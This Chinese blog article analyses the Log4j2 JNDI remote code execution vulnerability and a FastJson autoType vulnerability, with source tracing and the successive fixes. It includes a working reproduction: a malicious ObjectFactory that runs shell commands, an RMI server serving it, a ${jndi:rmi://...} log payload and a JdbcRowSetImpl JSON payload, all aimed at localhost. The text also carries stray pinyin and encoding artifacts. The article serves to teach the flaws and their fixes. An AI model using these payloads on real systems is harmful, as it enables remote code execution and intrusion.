從源碼看Log4j2、FastJson漏洞

遠(yuǎn)程代碼漏洞對(duì)廣大程序員來并不陌生，遠(yuǎn)程代碼執(zhí)行是指攻擊者可能會(huì)通過遠(yuǎn)程調(diào)用的方式來攻擊或控制計(jì)算機(jī)設(shè)備，無論該設(shè)備在哪里。如果遠(yuǎn)程代碼執(zhí)行的是一個(gè)死循環(huán)那服務(wù)器的CPU不得美滋滋了。

前段時(shí)間，Java 界的知名日志框架 Log4j2 發(fā)現(xiàn)了遠(yuǎn)程代碼執(zhí)行漏洞，漏洞風(fēng)暴席卷各大公司，編程屆異?；馃?加班)，我們是萬(wàn)萬(wàn)沒想到那么牛逼的日志框架有BUG。

這次安全漏洞也有個(gè)小插曲，我司的員工發(fā)現(xiàn)了漏洞，上報(bào)了Apache沒告知GXB，我司也受到了處罰，希望下次引以為戒，不過這事程序員不背鍋，管理下次要反思下。

漏洞描述

本次 Apache Log4j 遠(yuǎn)程代碼執(zhí)行漏洞，是由于組件存在 Java JNDI 注入漏洞：

當(dāng)程序?qū)⒂脩糨斎氲臄?shù)據(jù)記入日志時(shí)，攻擊者通過構(gòu)造特殊請(qǐng)求，來觸發(fā) Apache Log4j2 中的遠(yuǎn)程代碼執(zhí)行漏洞，從而利用此漏洞在目標(biāo)服務(wù)器上執(zhí)行任意代碼。

首先開啟HTTP服務(wù)器，并將我們的惡意類放在目錄下 開啟惡意RMI服務(wù)器 攻擊者輸入的參數(shù)為上一步開啟的惡意RMI服務(wù)器地址 惡意RMI服務(wù)器返回ReferenceWrapper類 目標(biāo)服務(wù)器在執(zhí)行l(wèi)ookup操作的時(shí)候，將ReferenceWrapper變成Reference類，然后遠(yuǎn)程加載并實(shí)例化我們的Factory類(即遠(yuǎn)程加載我們HTTP服務(wù)器上的惡意類)，進(jìn)而執(zhí)行惡意代碼 漏洞復(fù)現(xiàn) JNDI

JNDI 是Java 命名和目錄接口(Java Naming and Directory Interface，JNDI)的簡(jiǎn)稱，從一開始就一直是 Java 2平臺(tái)企業(yè)版的核心技術(shù)之一。

在JMS，JMail，JDBC，EJB等技術(shù)中，就大量應(yīng)用的這種技術(shù)。

JNDI可訪問的現(xiàn)有的目錄及服務(wù)有：DNS、XNam 、Novell目錄服務(wù)、LDAP(Lightweight Directory Access Protocol 輕型目錄訪問協(xié)議)、 CORBA對(duì)象服務(wù)、文件系統(tǒng)、Windows XP/2000/NT/Me/9x的注冊(cè)表、RMI、DSML v1&v2、NIS。

JNDI 誕生的理由很簡(jiǎn)單：隨著分布式應(yīng)用的發(fā)展，遠(yuǎn)程訪問對(duì)象訪問成為常用的方法。雖然說通過Socket等編程手段仍然可實(shí)現(xiàn)遠(yuǎn)程通信，但按照模式的理論來說，仍是有其局限性的。

RMI技術(shù)，RMI-IIOP技術(shù)的產(chǎn)生，使遠(yuǎn)程對(duì)象的查找成為了技術(shù)焦點(diǎn)。JNDI技術(shù)就應(yīng)運(yùn)而生。JNDI技術(shù)產(chǎn)生后，就可方便的查找遠(yuǎn)程或是本地對(duì)象。

如下展示了JNDI的架構(gòu)圖。

編寫攻擊代碼

為完成Bug的復(fù)現(xiàn)，我們需要簡(jiǎn)單的搭建一個(gè)RMI服務(wù)。

首先編寫我們的攻擊代碼。此處攻擊代碼遍歷指定目錄下的文件，并將其輸出到指定目錄中。

攻擊者可以獲取無法服務(wù)器的任意目錄結(jié)構(gòu)，恐怖如斯~

public class BadCode implements ObjectFactory { @Override public Object getObjectInstance(Object obj， Namename， Context nameCtx， Hashtable environment) throws Exception { System.out.println("開始執(zhí)行攻擊"); String data = "HH，我來了";// 囂張點(diǎn) File file =new File("./badcode.txt"); //if file does not exists， thencreate it if(!file.exists()){ file.createNewFile(); } FileWriter fileWritter = new FileWriter(file.getName()，true); fileWritter.write(data); // 遍歷服務(wù)器指定目錄 List command = new ArrayList(); command.add("tree"); command.add("**");//指定一個(gè)目錄 String outstring = null; Process p = null; try { ProcessBuilder builder = new ProcessBuilder(); builder.command(command); /** * 將標(biāo)準(zhǔn)輸入流和錯(cuò)誤輸入流合并，通過標(biāo)準(zhǔn)輸入流程讀取信息 */ builder.redirectErrorStream(true); p = builder.start(); outstring = waitFor(p); fileWritter.write(outstring); } catch (Exception ex) { ex.printStackTrace(); }finally { fileWritter.close(); p.destroy(); } return obj; } publicstatic String waitFor(Process p) { InputStream in = null; int exitValue = -1; StringBuffer outputString = new StringBuffer(); try { in = p.getInputStream(); final BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in， "utf-8")); boolean finished = false; int maxRetry = 600;//每次休眠1秒，最長(zhǎng)執(zhí)行時(shí)間10分種 int retry = 0; while (!finished) { if (retry > maxRetry) { return"error"; } try { String line=""; while ((line=bufferedReader.readLine())!=null) { outputString.append(line+"\n"); } //進(jìn)程未結(jié)束時(shí)調(diào)用exitValue將拋出異常 exitValue = p.exitValue(); finished = true; } catch (IllegalThreadStateException e) { Thread.sleep(1000);//休眠1秒 retry++; } } } catch (Exception e) { e.printStackTrace(); } finally { if (in != null) { try { in.close(); } catch (IOException e) { System.out.println(e.getMessage()); } } } return outputString.toString(); } }

編寫RMI服務(wù)并啟動(dòng)。

public class StartRMIserver { publicstatic void main(String[] args) throws Exception { //服務(wù)端口1099 Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("BadCode"， "BadCode"， "http://127.0.0.1:80/"); ReferenceWrapper wrapper = new ReferenceWrapper(reference); registry.bind("bad"， wrapper); System.out.println("RegistryServer is running"); } }

打印如下日志復(fù)現(xiàn)Bug。

public class BugShow { private static final Logger LOGGER = LogManager.getLogger(); publicstatic void main(String[] args) { //改動(dòng)一些系統(tǒng)默認(rèn)配置，讓系統(tǒng)可以被攻擊 System.setProperty("java.rmi.server.useCodebaseOnly"， "false"); System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase"， "true"); //打印攻擊日志 LOGGER.info("start attack:{}"， "${jndi:rmi://127.0.0.1:1099/bad}"); } }

如果一切順利，你會(huì)發(fā)現(xiàn)服務(wù)器中生成了一個(gè)名為badcode.txt的文件，里面存儲(chǔ)著指定目錄下的所有文件目錄。

修復(fù)方案

所幸，各大安全團(tuán)隊(duì)迅速給出了如下解決方案(本質(zhì)都一樣)，似乎是不使用LookUp就解決了。(終極方案是將log4j-core升級(jí)為2.16.0)

修改jvm參數(shù) -Dlog4j2.formatMsgNoLookups=true 在類路徑下增加log4j2.component.properties配置文件并增加配置項(xiàng)log4j2.formatMsgNoLookups=true 將系統(tǒng)環(huán)境變量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 設(shè)置為 true

但是，乖，你不好奇嗎?為什么不使用 LookUp 機(jī)制就修復(fù)了呢?

LookUps 機(jī)制

LookUps提供了一種在任意位置向 Log4j 配置添加值的方法。它們是實(shí)現(xiàn) StrLookup 接口的特殊類型的插件，Log4j 提供了Date Lookup、Java LookUp、Jndi LookUp(罪魁禍?zhǔn)?等實(shí)現(xiàn)。

如下展示了Date LookUp和Java lookUp的使用。

public class App { private static final Logger LOGGER = LogManager.getLogger(); publicstatic void main(String[] args) throws Exception { LOGGER.info("java.os:{}"，"${java:os}"); LOGGER.info("date:{}"，"${date:yyyy-MM-dd HH:mm:ss}"); } }

Java Lookup

JavaLookup 使用以 java: 為前綴的的預(yù)格式化字符串檢索 Java 環(huán)境信息。

鍵 描述 version 獲取Java版本，比如Java version 1.8.0_312 runtime 獲取Java運(yùn)行時(shí)版本，比如OpenJDK Runtime Environment (build 1.8.0_312-b07) from Azul Systems， Inc. vm 獲取虛擬機(jī)信息，比如OpenJDK 64-Bit Server VM (build 25.312-b07， mixed mode) os 獲取系統(tǒng)信息，比如Mac OS X 11.3.1 unknown， architecture: aarch64-64 locale 獲取編碼信息，比如default locale: zh_CN， platform encoding: UTF-8 hw 獲取硬件信息，比如processors: 8， architecture: aarch64-64
Jndi Lookup

這也是此次漏洞的罪魁禍?zhǔn)?JndiLookup 允許通過 JNDI 檢索變量。

默認(rèn)情況下，鍵將以 java:comp/env/ 為前綴，但是如果鍵包含":"則不會(huì)添加前綴。

默認(rèn)情況下，JDNI Lookup 僅支持 java、ldap 和 ldaps 協(xié)議或不支持協(xié)議，可以通過在 log4j2.allowedJndiProtocols 屬性上指定它們來支持其他協(xié)議。

當(dāng)使用 LDAP 時(shí)，出于安全原因，不支持實(shí)現(xiàn) Referenceable 接口的 Java 類，默認(rèn)情況下僅支持 Java 的基礎(chǔ)類型以及 log4j2.allowedLdapClasses屬性指定的任何類。

使用 LDAP 時(shí)，僅支持對(duì)本地主機(jī)名或 IP 地址的引用以及 log4j2.allowedLdapHosts 屬性中列出的任何主機(jī)或 IP 地址。

Java LookUp源碼

通過 LookUp 機(jī)制，Log4j框架解析了${}中的內(nèi)容，跟蹤源碼可以發(fā)現(xiàn)如下調(diào)用鏈，并且可以發(fā)現(xiàn)日志中${}內(nèi)容的替換是在org.apache.logging.log4j.core.pattern.MessagePatternConverter#format中完成的。

觀察源碼不難發(fā)現(xiàn)我們感興趣的東西——noLookups和對(duì)${的查找。

if (config != null && !noLookups) { for (int i = offset; i < workingBuilder.length() - 1; i++) { if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') { // 獲取原始的日志 final String value = workingBuilder.substring(offset， workingBuilder.length()); workingBuilder.setLength(offset); workingBuilder.append(config.getStrSubstitutor().replace(event， value)); } } }

查看StrSubstitutor類的org.apache.logging.log4j.core.lookup.StrSubstitutor#substitute方法，美滋滋的發(fā)現(xiàn)調(diào)用 resolveVariable 方法后獲取到了解析的值。

resolveVariable 方法內(nèi)部調(diào)用getVariableResolver()方法獲取對(duì)應(yīng)的值解析器，此次獲取 JavaLookUp。繼續(xù)追下去發(fā)現(xiàn)version的獲取就是從系統(tǒng)環(huán)境變量中取得的。

終極解決方案 2.15.0

讀完源碼不難得出結(jié)論：如果不讓代碼執(zhí)行${}的解析不就行了，即不使用LookUp機(jī)制。

如下圖表示了noLookUps的默認(rèn)值。這也說明了為什么解決方案是增加JVM啟動(dòng)參數(shù): -Dlog4j2.formatMsgNoLookups=true。

為什么升級(jí)為2.15.0后Bug就修復(fù)了呢?因?yàn)樵谛掳姹局心J(rèn)會(huì)使用SimpleMessagePatternConverter，同時(shí)不使用 LookUp 機(jī)制。

如下圖所示：

2.16.0 默認(rèn)禁用JNDI的訪問，用戶需要通過配置 log4j2.enableJndi 參數(shù)開啟 默認(rèn)允許協(xié)議限制為：java、ldap、ldaps，并將ldap協(xié)議限制為僅可訪問Java原始對(duì)象 Message Lookups被完全移除，加固漏洞的防御

在Log4j2升級(jí)至 2.16.0 時(shí)我們天真的認(rèn)為已經(jīng)結(jié)束了，萬(wàn)萬(wàn)沒想到，2.16.0 又爆出來新的 DOS 拒絕服務(wù)攻擊漏洞(沒完了不是)。

具體說來是，Apache Log4j2 的 2.0-alpha1 到 2.16.0 版本，均未能防止自引用查找的不受控遞歸。

當(dāng)日志配置使用了帶有上下文查找的非默認(rèn)模式布局時(shí)(例如$${ctx:loginId})，控制線程上下文映射(MDC)數(shù)據(jù)輸入的攻擊者，便可制作一份包含遞歸查找的惡意輸入數(shù)據(jù)，從而導(dǎo)致進(jìn)程因堆棧溢出報(bào)錯(cuò)而被終止。

如果目前不方便升級(jí)版本的話，可以采用下面的兩種方法來緩解此漏洞：

在日志配置的 PatternLayout 中，用 %X、%mdc 或 %MDC 來替換或${ctx:loginId} 等Context Lookups

在使用外部數(shù)據(jù)(HTTP Header或用戶輸入等)的地方，刪除對(duì)Context Lookups的引用(如或${ctx:loginId} )

2.17.0 只有配置中的lookup字符串才允許遞歸解析。并且僅解析最頂層的lookup，不解析任何嵌套的lookups。 將 JNDI 僅限于 java 協(xié)議。默認(rèn)情況下，JNDI 將保持禁用狀態(tài)。將 JNDI 啟用屬性從"log4j2.enableJndi"重命名為"log4j2.enableJndiLookup"、"log4j2.enableJndiJms"和"log4j2.enableJndiContextSelector"。 JNDI 僅限于 java 協(xié)議。默認(rèn)情況下，JNDI 將保持禁用狀態(tài)。啟用屬性已重命名為"log4j2.enableJndiJava"。 擴(kuò)展：FastJson 漏洞

遠(yuǎn)程代碼執(zhí)行漏洞在業(yè)內(nèi)還是比較多見的，除了此次的 Log4j 漏洞，我們?cè)賮砜纯雌渌ぞ叩穆┒窗?

在2017年3月15日，fastjson官方主動(dòng)爆出fastjson在1.2.24及之前版本存在遠(yuǎn)程代碼執(zhí)行高危安全漏洞。攻擊者可以通過此漏洞遠(yuǎn)程執(zhí)行惡意代碼來入侵服務(wù)器。

關(guān)于漏洞的具體詳情可參考：https://github.com/alibaba/fastjson/wiki/security_update_20170315。

漏洞原因

FastJson 提供 autoType 功能，在對(duì)JSON字符串進(jìn)行反序列化的時(shí)候，會(huì)讀取@type到內(nèi)容，試圖把JSON內(nèi)容反序列化成這個(gè)對(duì)象，并且會(huì)調(diào)用這個(gè)類的setter方法。黑客可以利用這個(gè)特性，自己構(gòu)造一個(gè)JSON字符串，并且使用@type指定一個(gè)自己想要使用的攻擊類庫(kù)。

常用的攻擊類庫(kù)是com.sun.rowset.JdbcRowSetImpl，這是sun官方提供的一個(gè)類庫(kù)，這個(gè)類的dataSourceName支持傳入一個(gè)rmi的源，當(dāng)解析這個(gè)uri的時(shí)候，就會(huì)支持rmi遠(yuǎn)程調(diào)用，去指定的rmi地址中去調(diào)用方法。

{"@type":"com.sun.rowset.JdbcRowSetImpl"，"dataSourceName":"rmi://localhost:1099/bad"，"autoCommit":true} FastJson 的修復(fù)方案

在 1.2.25 版本中 FastJson 新增了黑名單機(jī)制，如果@type中的類是黑名單中的則直接拋異常。

// 上面提到的 com.sun.rowset.JdbcRowSetImpl 就在黑名單中，即 com.sun. private String[] public Class checkAutoType(String typeName， Class expectClass) { if (typeName == null) { returnnull; } final String className = typeName.replace('$'， '.'); if (autoTypeSupport || expectClass != null) { for (int i = 0; i < acceptList.length; ++i) { String accept = acceptList[i]; if (className.startsWith(accept)) { return TypeUtils.loadClass(typeName， defaultClassLoader); } } for (int i = 0; i < denyList.length; ++i) { String deny = denyList[i]; // 類名中只要包含了黑名單中的任何對(duì)象，直接拋異常，寧可錯(cuò)殺不可放過 if (className.startsWith(deny)) { throw new JSONException("autoType is not support. " + typeName); } } } ...... } 總結(jié)

如下展示了2018年收錄漏洞按利用方式統(tǒng)計(jì)圖與2020年CNVD漏洞產(chǎn)生原因圖。

可見漏洞利用的攻擊方式分為：本地攻擊和遠(yuǎn)程攻擊。

其中遠(yuǎn)程攻擊占比約為89%，本地攻擊約占11%，由此可見遠(yuǎn)程攻擊是主要的漏洞攻擊的手段，也是需要主要防范的漏洞攻擊手段，并且大部分漏洞的產(chǎn)生原因都是設(shè)計(jì)錯(cuò)誤導(dǎo)致的。(所以網(wǎng)絡(luò)一片呼聲希望高鐵提供不使用 AutoType 的 FastJson，HH)

分析 Log4j2 的此次漏洞產(chǎn)生原因與修復(fù)方案是我們的一小步，希望各位都能寫出沒有bug的代碼(厚顏無恥的說，我一直在寫bug~_~)

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